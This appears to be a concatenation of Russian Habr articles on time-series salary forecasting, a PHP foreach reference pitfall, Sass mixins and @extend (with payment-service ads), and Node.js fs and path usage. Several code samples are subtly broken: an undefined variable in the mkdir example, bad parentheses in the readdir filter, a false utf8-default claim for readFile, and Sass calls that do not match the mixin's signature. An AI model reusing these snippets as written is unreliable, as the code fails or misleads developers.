В соответствии со значениями коэффициентов регрессии, наибольшее влияние на прогноз заработной платы оказывает значение заработной платы ровно год назад.
Попробуем добавить в модель экзогенные переменные.
### Добавление экзогенных переменных
Мы будем использовать 2 внешних признака: количество дней в месяце и номер месяца (от 1 до 12). Признак «Номер месяца» мы бинаризируем, в итоге у нас получится 12 столбцов для каждого месяца со значениями 0 или 1.
Сформируем новый датасет и посмотрим на качество модели.
**Смотрим графики**
Качество получилось ниже. Визуально заметно, что прогноз выглядит не совсем правдоподобно в части роста заработной платы в декабре.
Давайте теперь проведем первую предобработку данных.
### Коррекция гетероскедастичности.
Если мы посмотрим на график заработной платы за период с 2010 по 2020 гг, то мы увидим, что ежегодно разброс заработной платы внутри года между месяцами растет.
Ежегодный рост дисперсии от месяца к месяцу приводит к гетероскедастичности. Для улучшения качества прогнозирования нам следует избавиться от этого свойства данных и привести их к гомоскедастичности.
Для этого воспользуемся обычным логарифмированием и посмотрим как выглядит прологарифмированный ряд.
Обучим модель на прологарифмированном ряду
**Смотрим графики**
В итоге качество предсказаний на обучающей и тестовой выборках действительно улучшилось, однако прогноз на 2021 год по сравнению с прогнозом первой модели визуально выглядит менее правдоподобным. Скорее всего использование экзогенных факторов ухудшает модель.
### Приведение ряда к стационарному
Приводить ряд к стационарному будем следующим образом:
* Определяем разницу между целевым значением заработной платы и значением год назад: **t — (t-12) = dif\_1**
* Определяем разницу между полученным и смещенным на 1 месяц значением: **dif\_1 — (dif\_1-1) = dif\_2**
В итоге получаем следующий временной ряд.
Ряд действительно выглядит стационарным, об этом также говорит значение критерия Дики-Фуллера.
Ожидать хорошее качество предсказаний на обучающей и тестовой выборках на обработанных данных, то есть на стационарном ряду не приходится, так как по сути, в этом случае модель должна предсказывать значения белого шума. Но нам, для прогнозирования заработной платы, уже совсем не обязательно использовать регрессию, так как, приводя ряд к стационарному, мы по-простому говоря, определили формулу аппроксимации целевой переменной. Но мы не будем отходить от канонов и воспользуемся регрессионной моделью, к тому же у нас есть экзогенные факторы.
Давайте посмотрим, что получилось.
Вот так выглядит предсказание стационарного ряда. Как и ожидали — не очень-то и хорошо :)
А вот предсказание и прогноз заработной платы.
**Смотрим графики**
Качество заметно улучшилось и прогноз визуально стал выглядеть правдоподобным.
**Теперь сформируем прогноз без использования экзогенных переменных**
**Смотрим графики**
Качество еще улучшилось и правдоподобность прогноза сохранилась :)
### Прогнозирование с помощью однослойной нейронной сети
На вход нейронной сети будем подавать имеющиеся датасеты. Так как наша сеть однослойная, то по сути это и есть та же самая линейная регрессия с незамысловатыми модификациями и ожидать сильно большую разницу в качестве предсказаний не стоит.
Для начала посмотрим на саму сеть
**Смотрим код**
```
class Model_1(nn.Module):
def __init__(self, input_size, output_size):
super(Model_1, self).__init__()
self.input_size = input_size
self.output_size = output_size
self.linear = nn.Linear(self.input_size, self.output_size)
def forward(self, x):
output = self.linear(x)
return output
```
Теперь пару слов о том, как будем ее обучать.
1. Фиксируем random seed для целей воспроизводимости результата
2. Инициализируем модель
3. Задаем функцию потерь — MSELoss
4. Выбираем в качестве оптимизатора Adam optimizer
5. Указываем начальный шаг обучения и определяем условие, при котором шаг понижается. Отмечу, что правильный выбор шага и его дальнейшее изменение (обычно уменьшение) приносит хорошие плоды
6. Указываем количество эпох обучения
7. Запускаем обучение
8. На вход сети подаем целиком датасет, так как он очень маленький и разбивать его на батчи не имеет смысла
9. При обучении, каждую тысячу эпох формируем графики значения функции потерь на обучающей и тестовой выборках. Это позволяет нам контролировать переобучение или не дообучение модели.
Ниже приведен код обучения сети на первом датасете. Для каждого датасета незначительно менялись параметры: количество эпох обучения и шаг обучения.
**Смотрим код**
```
# fix the random seed
SEED = 42
random_init(SEED)
# initialization model, loss function, optimizator
model = Model_1(len(features),1)
loss_func = nn.MSELoss()
opt = torch.optim.Adam(model.parameters(), lr=5e-2)
# set the epoch numbers, initialization list for every loss after learning on epoch
epochs = 15000
losses_train = []
losses_test = []
# initialization counter for calculation epoch numbers
counter = 0
# start the learning model
for epoch in range(epochs):
model.train()
# make prediction targets on train data
y_pred_train = model(torch.tensor(X_train.to_numpy(), dtype=torch.float))
# calculate loss
loss = loss_func(y_pred_train,
torch.reshape(torch.tensor(y_train.to_numpy(), dtype=torch.float),(-1,1)))
# bacward loss to model and calculate new parameters (coefficients) with fixed learning rate
loss.backward()
opt.step()
opt.zero_grad()
# add loss to list losses
losses_train.append(loss)
model.eval()
y_pred_test = model(torch.tensor(X_test.to_numpy(), dtype=torch.float))
loss_test = loss_func(y_pred_test,
torch.reshape(torch.tensor(y_test.to_numpy(), dtype=torch.float),(-1,1)))
losses_test.append(loss_test)
# make the mini report for every 1000 epoch
if epoch % 1000 == 0 and epoch > 0:
print ('Epoch:', epoch // 1000)
print ('Learning rate:', opt.param_groups[0]['lr'])
print ('Last loss on TRAIN data:', losses_train[-1].cpu().detach().numpy(),
' Last loss on TEST data:', losses_test[-1].cpu().detach().numpy())
# print ('Last loss on TEST data:', losses_test[-1].cpu().detach().numpy())
fig, (ax1, ax2) = plt.subplots(1, 2)
# fig.suptitle('MSE on TRAIN & TEST DATA')
fig.set_figheight(3)
fig.set_figwidth(12)
ax1.plot(np.arange(counter,epoch,1), np.array([float(i) for i in losses_train][-1000:]), color = 'darkred')
plt.xlabel("Epoch")
plt.ylabel("Loss on TRAIN data")
ax2.plot(np.arange(counter,epoch,1), np.array([float(i) for i in losses_test][-1000:]), color = 'darkred')
plt.xlabel("Epoch")
plt.ylabel("Loss on TEST data")
plt.show()
counter += 1000
# reduce learning rate
if epoch == 1000:
opt = torch.optim.Adam(model.parameters(), lr=7e-3)
```
Не будем рассматривать качество предсказаний для каждого датасета отдельно (желающие могут посмотреть подробности на гите). Давайте сравним итоговые результаты.
**Качество на тестовой выборке с использованием Ridge Regression**
**Качество на тестовой выборке с использованием Single layer NN**
Как мы и ожидали, принципиальной разницы между обычной регрессией и простой однослойной нейронной сетью не оказалось. Конечно, нейронки дают больше маневра для обучения: можно менять оптимизаторы, регулировать шаги обучения, использовать скрытые слои и функции активации, можно пойти еще дальше и использовать рекуррентные нейронные сети — RNN. К слову, лично мне не удалось получить вменяемого качества в данной задаче с использованием RNN, однако на просторах интернета можно встретить много интересных примеров прогнозирования временных рядов с использованием LSTM.
На этом моменте статья подошла к завершению. Надеюсь, материал будет полезен как некий обзор baseline-подходов, применяемых при прогнозировании временных рядов и послужит хорошим практическим дополнением к курсу «Прикладные задачи анализа данных» от МФТИ и Яндекс.
### Полезные ссылки
1. [Исходники на гитхабе](https://github.com/AlexanderPetrenko83/Articles/tree/master/20210421_Time-series)
2. [Курс «Прикладные задачи анализа данных» от МФТИ и Яндекс](https://www.coursera.org/learn/data-analysis-applications)
3. [Государственная статистика «ЕМИСС» (данные по заработной плате)](https://www.fedstat.ru/indicators/search?searchText=%D0%B7%D0%B0%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BD%D0%B0%D1%8F)
4. [LSTM for time series prediction](https://romanorac.github.io/machine/learning/2019/09/27/time-series-prediction-with-lstm.html)
5. [Лекция 9. Прогнозирование на основе регрессионной модели. Computer Science Center](https://www.youtube.com/watch?v=COBcXzKmOyk)
6. [Картинка под заголовком взята отсюда :)](https://www.mos.ru/news/item/46952073/) | https://habr.com/ru/post/553658/ | null | ru | null |
# Осторожнее с итерацией массивов по ссылке
Наткнулся только что на очень не приятную особенность PHP при итерации массивов со ссылкой на элементы (конструкция foreach с &).
Смотрите сами:
```
$test = array('1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5);
print_r($test);
foreach ($test as $key => $value) {
echo "{$key} => {$value}\n";
}
```
Получаем то, что ожидали:
```
Array
(
[1] => 1
[2] => 2
[3] => 3
[4] => 4
[5] => 5
)
1 => 1
2 => 2
3 => 3
4 => 4
5 => 5
```
Но стоит добавить итерацию по ссылке:
```
$test = array('1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5);
foreach ($test AS &$value) {
// какие-то действия. Но для теста и пустого цикла достаточно
}
print_r($test);
foreach ($test as $key => $value) {
echo "{$key} => {$value}\n";
}
```
… как получаем неожиданный результат:
```
Array
(
[1] => 1
[2] => 2
[3] => 3
[4] => 4
[5] => 5
)
1 => 1
2 => 2
3 => 3
4 => 4
5 => **4**
```
Я до конца не понимаю в чем косяк, это как-то связано с тем, что в $value остается ссылка на последний элемент после выхода из первого цикла. Избежать такого поведения можно двумя способами: Либо нужно второй цикл итерировать тоже по ссылке, либо использовать другое имя вместо $value. | https://habr.com/ru/post/59299/ | null | ru | null |
# Как писать более чистый CSS и рациональный SASS
Sass заработал репутацию среди разработчиков интерфейсов благодаря переводу сложного CSS в разумный многоразовый код. Это бесспорно важно для масштабирования и поддержки, и позволяет разработчикам устранять недостатки, представленные в традиционном CSS.
Две из наиболее важных функций Sass – это примеси и наследование. Несмотря на то, что их обычно группируют ввиду их способности генерировать дополнительные стили, каждая из них предлагает уникальный подход для решения привычных проблем с CSS.
При наработке опыта использования Sass ключевым моментом является понимание того, когда использовать примеси или наследование. Но примеси и наследования никоим образом не являются исключительными функциями, а если их использовать вместе, они могут обеспечивать более чистую и понятную разметку. Чтобы лучше понимать, как эти две функции могут работать вместе, давайте начнем с более подробного рассмотрения их уникального поведения.
#### Скромная примесь
Примеси – это основные «кирпичи» для построения Sass. Просто заверните группу свойств или селекторов в примеси, и код можно будет использовать повторно, включив примесь чуть позже.
Единоразовое написание общего кода позволяет вносить дальнейшие изменения в одном месте – ключевом участнике методологии DRY. Данный пример примеси кнопки содержит свойство border, которое потом используется различными классами кнопок:
SCSS
```
@mixin button {
border-radius: 4px;
border: 4px solid black;
}
.search-button {
@include button;
background-color: blue;
}
.cancel-button {
@include button;
background-color: red;
}
```
CSS
```
.search-button {
border-radius: 4px;
border: 4px solid black;
background-color: blue;
}
.cancel-button {
border-radius: 4px;
border: 4px solid black;
background-color: red;
}
```
Чтобы генерировать уникальный CSS для каждого класса, включите примесь в значения каждого аргумента:
SCSS
```
@include button('search', blue);
@include button('cancel', red);
```
CSS
```
.search-button {
background-color: blue;
border-radius: 4px;
border: 4px solid black;
}
.cancel-button {
background-color: red;
border-radius: 4px;
border: 4px solid black;
}
```
Даже в этом небольшом примере легко увидеть рост эффективности Sass.
#### Негативные аспекты и дублирование
Несмотря на то, что проще всего использовать примеси для повторяющихся блоков CSS, это не всегда является наиболее разумным выходом. Вывод CSS, который генерируется примесями, теперь содержит два класса с одинаковым свойством border.
Если постоянно использовать примеси таким образом, это приведет к тому, что CSS раздуется от большого количества дублированного кода. К счастью, мы можем использовать наследование, чтобы найти места, в которых примеси окажутся лишними.
#### «Сушим» код с помощью наследования
Функция наследования позволяет классам наследовать все свойства другого класса путем группировки селекторов. Вместо дублирования CSS каждый раз, как это делает примесь, селектор группируется с классом, который он наследует:
SCSS
```
.button {
border-radius: 4px;
border: 4px solid black;
}
.search-button {
@extend .button;
background: blue;
}
```
CSS
```
.button,
.search-button {
border-radius: 4px;
border: 4px solid black;
}
.search-button {
background: blue;
}
```
Теперь у нашего вывода есть только одно значение свойств границы, которое поддерживают наши кнопки.
#### Счастливы вместе
Подход с использованием только примесей раздувает код, так как каждый раз, когда мы вызываем примесь, мы, сами того не желая, дублируем свойства границы. Вместо того чтобы вписать такие общие свойства непосредственно в примесь, мы можем наследовать существующий класс, в который они входят, сокращая количество дублируемого кода:
SCSS
```
.button {
border-radius: 4px;
border: 4px solid black;
}
@mixin button($name, $background-color) {
.#{$name}-button {
background-color: $background-color;
@extend .button;
}
}
@include button('search', blue);
@include button('cancel', red);
```
Классы, которые наследуют общие свойства кнопки, сгруппированы с классом .button, что исключает дублирование свойств границы.
CSS
```
.buton, .search-button, .cancel-button {
border-radius: 4px;
border: 4px solid black;
}
.search-button {
background-color: blue;
}
.cancel-button {
background-color: red;
}
```
Такое сочетание примеси и наследования можно использовать для генерации большого количества кнопок, тем самым снижая количество дублируемого CSS.
#### Ищем золотую середину
Разумное использование примесей и наследования привело к созданию нескольких приметных модулей Sass, но не забывайте все время проверять вывод CSS. Sass – это не панацея от каждой проблемы CSS, а потому для достижения желаемого результата необходимо определенное мастерство.
Экспериментируйте с различными методиками и смотрите, как эти функции можно переплетать, создавая мощные примеси и чистые таблицы стилей. Наличие активной аудитории Sass означает, что всегда существуют новые идеи, которые можно исследовать, изучать и дополнять.
**Полезные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/255981/ | null | ru | null |
# Руководство по Node.js, часть 9: работа с файловой системой
Сегодня, в девятой части перевода руководства по Node.js, мы поговорим о работе с файлами. В частности, речь пойдёт о модулях fs и path — о файловых дескрипторах, о путях к файлам, о получении информации о файлах, об их чтении и записи, о работе с директориями.
[](https://habr.com/company/ruvds/blog/424969/)
**[Советуем почитать] Другие части цикла**Часть 1: [Общие сведения и начало работы](https://habr.com/company/ruvds/blog/422893/)
Часть 2: [JavaScript, V8, некоторые приёмы разработки](https://habr.com/company/ruvds/blog/423153/)
Часть 3: [Хостинг, REPL, работа с консолью, модули](https://habr.com/company/ruvds/blog/423701/)
Часть 4: [npm, файлы package.json и package-lock.json](https://habr.com/company/ruvds/blog/423703/)
Часть 5: [npm и npx](https://habr.com/company/ruvds/blog/423705/)
Часть 6: [цикл событий, стек вызовов, таймеры](https://habr.com/company/ruvds/blog/424553/)
Часть 7: [асинхронное программирование](https://habr.com/company/ruvds/blog/424555/)
Часть 8: [Руководство по Node.js, часть 8: протоколы HTTP и WebSocket](https://habr.com/company/ruvds/blog/424557/)
Часть 9: [Руководство по Node.js, часть 9: работа с файловой системой](https://habr.com/company/ruvds/blog/424969/)
Часть 10: [Руководство по Node.js, часть 10: стандартные модули, потоки, базы данных, NODE\_ENV](https://habr.com/company/ruvds/blog/425667/)
[Полная PDF-версия руководства по Node.js](https://habr.com/company/ruvds/blog/428576/)
Работа с файловыми дескрипторами в Node.js
------------------------------------------
Прежде чем вы сможете взаимодействовать с файлами, находящимися в файловой системе вашего сервера, вам необходимо получить дескриптор файла.
Дескриптор можно получить, воспользовавшись для открытия файла асинхронным методом `open()` из модуля `fs`:
```
const fs = require('fs')
fs.open('/Users/flavio/test.txt', 'r', (err, fd) => {
//fd - это дескриптор файла
})
```
Обратите внимание на второй параметр, `r`, использованный при вызове метода `fs.open()`. Это — флаг, который сообщает системе о том, что файл открывают для чтения. Вот ещё некоторые флаги, которые часто используются при работе с этим и некоторыми другими методами:
* `r+` — открыть файл для чтения и для записи.
* `w+` — открыть файл для чтения и для записи, установив указатель потока в начало файла. Если файл не существует — он создаётся.
* `a` — открыть файл для записи, установив указатель потока в конец файла. Если файл не существует — он создаётся.
* `a+` — открыть файл для чтения и записи, установив указатель потока в конец файла. Если файл не существует — он создаётся.
Файлы можно открывать и пользуясь синхронным методом `fs.openSync()`, который, вместо того, чтобы предоставить дескриптор файла в коллбэке, возвращает его:
```
const fs = require('fs')
try {
const fd = fs.openSync('/Users/flavio/test.txt', 'r')
} catch (err) {
console.error(err)
}
```
После получения дескриптора любым из вышеописанных способов вы можете производить с ним необходимые операции.
Данные о файлах
---------------
С каждым файлом связан набор данных о нём, исследовать эти данные можно средствами Node.js. В частности, сделать это можно, используя метод `stat()` из модуля `fs`.
Вызывают этот метод, передавая ему путь к файлу, и, после того, как Node.js получит необходимые сведения о файле, он вызовет коллбэк, переданный методу `stat()`. Вот как это выглядит:
```
const fs = require('fs')
fs.stat('/Users/flavio/test.txt', (err, stats) => {
if (err) {
console.error(err)
return
}
//сведения о файле содержатся в аргументе `stats`
})
```
В Node.js имеется возможность синхронного получения сведений о файлах. При таком подходе главный поток блокируется до получения свойств файла:
```
const fs = require('fs')
try {
const stats = fs.statSync ('/Users/flavio/test.txt')
} catch (err) {
console.error(err)
}
```
Информация о файле попадёт в константу `stats`. Что это за информация? На самом деле, соответствующий объект предоставляет нам большое количество полезных свойств и методов:
* Методы `.isFile()` и `.isDirectory()` позволяют, соответственно, узнать, является ли исследуемый файл обычным файлом или директорией.
* Метод `.isSymbolicLink()` позволяет узнать, является ли файл символической ссылкой.
* Размер файла можно узнать, воспользовавшись свойством `.size`.
Тут имеются и другие методы, но эти — самые употребимые. Вот как ими пользоваться:
```
const fs = require('fs')
fs.stat('/Users/flavio/test.txt', (err, stats) => {
if (err) {
console.error(err)
return
}
stats.isFile() //true
stats.isDirectory() //false
stats.isSymbolicLink() //false
stats.size //1024000 //= 1MB
})
```
Пути к файлам в Node.js и модуль path
-------------------------------------
Путь к файлу — это адрес того места в файловой системе, где он расположен.
В Linux и macOS путь может выглядеть так:
```
/users/flavio/file.txt
```
В Windows пути выглядят немного иначе:
```
C:\users\flavio\file.txt
```
На различия в форматах записи путей при использовании разных операционных систем следует обращать внимание, учитывая операционную систему, используемую для развёртывания Node.js-сервера.
В Node.js есть стандартный модуль `path`, предназначенный для работы с путями к файлам. Перед использованием этого модуля в программе его надо подключить:
```
const path = require('path')
```
### ▍Получение информации о пути к файлу
Если у вас есть путь к файлу, то, используя возможности модуля `path`, вы можете, в удобном для восприятия и дальнейшей обработки виде, узнать подробности об этом пути. Выглядит это так:
```
const notes = '/users/flavio/notes.txt'
path.dirname(notes) // /users/flavio
path.basename(notes) // notes.txt
path.extname(notes) // .txt
```
Здесь, в строке `notes`, хранится путь к файлу. Для разбора пути использованы следующие методы модуля `path`:
* `dirname()` — возвращает родительскую директорию файла.
* `basename()` — возвращает имя файла.
* `extname()` — возвращает расширение файла.
Узнать имя файла без расширения можно, вызвав метод `.basename()` и передав ему второй аргумент, представляющий расширение:
```
path.basename(notes, path.extname(notes)) //notes
```
### ▍Работа с путями к файлам
Несколько частей пути можно объединить, используя метод `path.join()`:
```
const name = 'flavio'
path.join('/', 'users', name, 'notes.txt') //'/users/flavio/notes.txt'
```
Найти абсолютный путь к файлу на основе относительного пути к нему можно с использованием метода `path.resolve()`:
```
path.resolve('flavio.txt')
//'/Users/flavio/flavio.txt' при запуске из моей домашней папки
```
В данном случае Node.js просто добавляет `/flavio.txt` к пути, ведущем к текущей рабочей директории. Если при вызове этого метода передать ещё один параметр, представляющий путь к папке, метод использует его в качестве базы для определения абсолютного пути:
```
path.resolve('tmp', 'flavio.txt')
// '/Users/flavio/tmp/flavio.txt' при запуске из моей домашней папки
```
Если путь, переданный в качестве первого параметра, начинается с косой черты — это означает, что он представляет собой абсолютный путь.
```
path.resolve('/etc', 'flavio.txt')
// '/etc/flavio.txt'
```
Вот ещё один полезный метод — `path.normalize()`. Он позволяет найти реальный путь к файлу, используя путь, в котором содержатся спецификаторы относительного пути вроде точки (`.`), двух точек (`..`), или двух косых черт:
```
path.normalize('/users/flavio/..//test.txt')
// /users/test.txt
```
Методы `resolve()` и `normalize()` не проверяют существование директории. Они просто находят путь, основываясь на переданным им данным.
Чтение файлов в Node.js
-----------------------
Самый простой способ чтения файлов в Node.js заключается в использовании метода `fs.readFile()` с передачей ему пути к файлу и коллбэка, который будет вызван с передачей ему данных файла (или объекта ошибки):
```
fs.readFile('/Users/flavio/test.txt', (err, data) => {
if (err) {
console.error(err)
return
}
console.log(data)
})
```
Если надо, можно воспользоваться синхронной версией этого метода — `fs.readFileSync()`:
```
const fs = require('fs')
try {
const data = fs.readFileSync('/Users/flavio/test.txt')
console.log(data)
} catch (err) {
console.error(err)
}
```
По умолчанию при чтении файлов используется кодировка `utf8`, но кодировку можно задать и самостоятельно, передав методу соответствующий параметр.
Методы `fs.readFile()` и `fs.readFileSync()` считывают в память всё содержимое файла. Это означает, что работа с большими файлами с применением этих методов серьёзно отразится на потреблении памяти вашим приложением и окажет влияние на его производительность. Если с такими файлами нужно работать, лучше всего воспользоваться потоками.
Запись файлов в Node.js
-----------------------
В Node.js легче всего записывать файлы с использованием метода `fs.writeFile()`:
```
const fs = require('fs')
const content = 'Some content!'
fs.writeFile('/Users/flavio/test.txt', content, (err) => {
if (err) {
console.error(err)
return
}
//файл записан успешно
})
```
Есть и синхронная версия того же метода — `fs.writeFileSync()`:
```
const fs = require('fs')
const content = 'Some content!'
try {
const data = fs.writeFileSync('/Users/flavio/test.txt', content)
//файл записан успешно
} catch (err) {
console.error(err)
}
```
Эти методы, по умолчанию, заменяют содержимое существующих файлов. Изменить их стандартное поведение можно, воспользовавшись соответствующим флагом:
```
fs.writeFile('/Users/flavio/test.txt', content, { flag: 'a+' }, (err) => {})
```
Тут могут использоваться флаги, которые мы уже перечисляли в разделе, посвящённом дескрипторам. Подробности о флагах можно узнать [здесь](https://nodejs.org/api/fs.html#fs_file_system_flags).
Присоединение данных к файлу
----------------------------
Метод `fs.appendFile()` (и его синхронную версию — `fs.appendFileSync()`) удобно использовать для присоединения данных к концу файла:
```
const content = 'Some content!'
fs.appendFile('file.log', content, (err) => {
if (err) {
console.error(err)
return
}
//готово!
})
```
Об использовании потоков
------------------------
Выше мы описывали методы, которые, выполняя запись в файл, пишут в него весь объём переданных им данных, после чего, если используются их синхронные версии, возвращают управление программе, а если применяются асинхронные версии — вызывают коллбэки. Если вас такое состояние дел не устраивает — лучше будет воспользоваться потоками.
Работа с директориями в Node.js
-------------------------------
Модуль `fs` предоставляет в распоряжение разработчика много удобных методов, которые можно использовать для работы с директориями.
### ▍Проверка существования папки
Для того чтобы проверить, существует ли директория и может ли Node.js получить к ней доступ, учитывая разрешения, можно использовать метод `fs.access()`.
### ▍Создание новой папки
Для того чтобы создавать новые папки, можно воспользоваться методами `fs.mkdir()` и `fs.mkdirSync()`:
```
const fs = require('fs')
const folderName = '/Users/flavio/test'
try {
if (!fs.existsSync(dir)){
fs.mkdirSync(dir)
}
} catch (err) {
console.error(err)
}
```
### ▍Чтение содержимого папки
Для того чтобы прочесть содержимое папки, можно воспользоваться методами `fs.readdir()` и `fs.readdirSync()`. В этом примере осуществляется чтение содержимого папки — то есть — сведений о том, какие файлы и поддиректории в ней имеются, и возврат их относительных путей:
```
const fs = require('fs')
const path = require('path')
const folderPath = '/Users/flavio'
fs.readdirSync(folderPath)
```
Вот так можно получить полный путь к файлу:
```
fs.readdirSync(folderPath).map(fileName => {
return path.join(folderPath, fileName)
}
```
Результаты можно отфильтровать для того, чтобы получить только файлы и исключить из вывода директории:
```
const isFile = fileName => {
return fs.lstatSync(fileName).isFile()
}
fs.readdirSync(folderPath).map(fileName => {
return path.join(folderPath, fileName)).filter(isFile)
}
```
### ▍Переименование папки
Для переименования папки можно воспользоваться методами `fs.rename()` и `fs.renameSync()`. Первый параметр — это текущий путь к папке, второй — новый:
```
const fs = require('fs')
fs.rename('/Users/flavio', '/Users/roger', (err) => {
if (err) {
console.error(err)
return
}
//готово
})
```
Переименовать папку можно и с помощью синхронного метода `fs.renameSync()`:
```
const fs = require('fs')
try {
fs.renameSync('/Users/flavio', '/Users/roger')
} catch (err) {
console.error(err)
}
```
### ▍Удаление папки
Для того чтобы удалить папку, можно воспользоваться методами `fs.rmdir()` или `fs.rmdirSync()`. Надо отметить, что удаление папки, в которой что-то есть, задача несколько более сложная, чем удаление пустой папки. Если вам нужно удалять такие папки, воспользуйтесь пакетом [fs-extra](https://www.npmjs.com/package/fs-extra), который весьма популярен и хорошо поддерживается. Он представляет собой замену модуля `fs`, расширяющую его возможности.
Метод `remove()` из пакета `fs-extra` умеет удалять папки, в которых уже что-то есть.
Установить этот модуль можно так:
```
npm install fs-extra
```
Вот пример его использования:
```
const fs = require('fs-extra')
const folder = '/Users/flavio'
fs.remove(folder, err => {
console.error(err)
})
```
Его методами можно пользоваться в виде промисов:
```
fs.remove(folder).then(() => {
//готово
}).catch(err => {
console.error(err)
})
```
Допустимо и применение конструкции async/await:
```
async function removeFolder(folder) {
try {
await fs.remove(folder)
//готово
} catch (err) {
console.error(err)
}
}
const folder = '/Users/flavio'
removeFolder(folder)
```
Модуль fs
---------
Выше мы уже сталкивались с некоторыми методами модуля `fs`, применяемыми при работе с файловой системой. На самом деле, он содержит ещё много полезного. Напомним, что он не нуждается в установке, для того, чтобы воспользоваться им в программе, его достаточно подключить:
```
const fs = require('fs')
```
После этого у вас будет доступ к его методам, среди которых отметим следующие, некоторые из которых вам уже знакомы:
* `fs.access()`: проверяет существование файла и возможность доступа к нему с учётом разрешений.
* `fs.appendFile()`: присоединяет данные к файлу. Если файл не существует — он будет создан.
* `fs.chmod()`: изменяет разрешения для заданного файла. Похожие методы: `fs.lchmod()`, `fs.fchmod()`.
* `fs.chown()`: изменяет владельца и группу для заданного файла. Похожие методы: `fs.fchown()`, `fs.lchown()`.
* `fs.close()`: закрывает дескриптор файла.
* `fs.copyFile()`: копирует файл.
* `fs.createReadStream()`: создаёт поток чтения файла.
* `fs.createWriteStream()`: создаёт поток записи файла.
* `fs.link()`: создаёт новую жёсткую ссылку на файл.
* `fs.mkdir()`: создаёт новую директорию.
* `fs.mkdtemp()`: создаёт временную директорию.
* `fs.open()`: открывает файл.
* `fs.readdir()`: читает содержимое директории.
* `fs.readFile()`: считывает содержимое файла. Похожий метод: `fs.read()`.
* `fs.readlink()`: считывает значение символической ссылки.
* `fs.realpath()`: разрешает относительный путь к файлу, построенный с использованием символов `.` и `..`, в полный путь.
* `fs.rename()`: переименовывает файл или папку.
* `fs.rmdir()`: удаляет папку.
* `fs.stat()`: возвращает сведения о файле. Похожие методы: `fs.fstat()`, `fs.lstat()`.
* `fs.symlink()`: создаёт новую символическую ссылку на файл.
* `fs.truncate()`: обрезает файл до заданной длины. Похожий метод: `fs.ftruncate()`.
* `fs.unlink()`: удаляет файл или символическую ссылку.
* `fs.unwatchFile()`: отключает наблюдение за изменениями файла.
* `fs.utimes()`: изменяет временную отметку файла. Похожий метод: `fs.futimes()`.
* `fs.watchFile()`: включает наблюдение за изменениями файла. Похожий метод: `fs.watch()`.
* `fs.writeFile()`: записывает данные в файл. Похожий метод: `fs.write()`.
Интересной особенностью модуля `fs` является тот факт, что все его методы, по умолчанию, являются асинхронными, но существуют и их синхронные версии, имена которых получаются путём добавления слова `Sync` к именам асинхронных методов.
Например:
* `fs.rename()`
* `fs.renameSync()`
* `fs.write()`
* `fs.writeSync()`
Использование синхронных методов серьёзно влияет на то, как работает программа.
В Node.js 10 имеется экспериментальная поддержка этих [API](https://nodejs.org/api/fs.html#fs_fs_promises_api), основанных на промисах.
Исследуем метод `fs.rename()`. Вот асинхронная версия этого метода, использующая коллбэки:
```
const fs = require('fs')
fs.rename('before.json', 'after.json', (err) => {
if (err) {
return console.error(err)
}
//готово
})
```
При использовании его синхронной версии для обработки ошибок используется конструкция `try/catch`:
```
const fs = require('fs')
try {
fs.renameSync('before.json', 'after.json')
//готово
} catch (err) {
console.error(err)
}
```
Основное различие между этими вариантами использования данного метода заключается в том, что во втором случае выполнение скрипта будет заблокировано до завершения файловой операции.
Модуль path
-----------
Модуль path, о некоторых возможностях которого мы тоже уже говорили, содержит множество полезных инструментов, позволяющих взаимодействовать с файловой системой. Как уже было сказано, устанавливать его не нужно, так как он является частью Node.js. Для того чтобы пользоваться им, его достаточно подключить:
```
const path = require('path')
```
Свойство `path.sep` этого модуля предоставляет символ, использующийся для разделения сегментов пути (`\` в Windows и `/` в Linux и macOS), а свойство `path.delimiter` даёт символ, используемый для отделения друг от друга нескольких путей (`;` в Windows и `:` в Linux и macOS).
Рассмотрим и проиллюстрируем примерами некоторые методы модуля `path`.
### ▍path.basename()
Возвращает последний фрагмент пути. Передав второй параметр этому методу можно убрать расширение файла.
```
require('path').basename('/test/something') //something
require('path').basename('/test/something.txt') //something.txt
require('path').basename('/test/something.txt', '.txt') //something
```
### ▍path.dirname()
Возвращает ту часть пути, которая представляет имя директории:
```
require('path').dirname('/test/something') // /test
require('path').dirname('/test/something/file.txt') // /test/something
```
### ▍path.extname()
Возвращает ту часть пути, которая представляет расширение файла:
```
require('path').extname('/test/something') // ''
require('path').extname('/test/something/file.txt') // '.txt'
```
### ▍path.isAbsolute()
Возвращает истинное значение если путь является абсолютным:
```
require('path').isAbsolute('/test/something') // true
require('path').isAbsolute('./test/something') // false
```
### ▍path.join()
Соединяет несколько частей пути:
```
const name = 'flavio'
require('path').join('/', 'users', name, 'notes.txt') //'/users/flavio/notes.txt'
```
### ▍path.normalize()
Пытается выяснить реальный путь на основе пути, который содержит символы, использующиеся при построении относительных путей вроде `.`, `..` и `//`:
```
require('path').normalize('/users/flavio/..//test.txt') ///users/test.txt
```
### ▍path.parse()
Преобразует путь в объект, свойства которого представляют отдельные части пути:
* `root`: корневая директория.
* `dir`: путь к файлу, начиная от корневой директории
* `base`: имя файла и расширение.
* `name`: имя файла.
* `ext`: расширение файла.
Вот пример использования этого метода:
```
require('path').parse('/users/test.txt')
```
В результате его работы получается такой объект:
```
{
root: '/',
dir: '/users',
base: 'test.txt',
ext: '.txt',
name: 'test'
}
```
### ▍path.relative()
Принимает, в качестве аргументов, 2 пути. Возвращает относительный путь из первого пути ко второму, основываясь на текущей рабочей директории:
```
require('path').relative('/Users/flavio', '/Users/flavio/test.txt') //'test.txt'
require('path').relative('/Users/flavio', '/Users/flavio/something/test.txt') //'something/test.txt'
```
### ▍path.resolve()
Находит абсолютный путь на основе переданного ему относительного пути:
```
path.resolve('flavio.txt')
//'/Users/flavio/flavio.txt' при запуске из моей домашней папки.
```
Итоги
-----
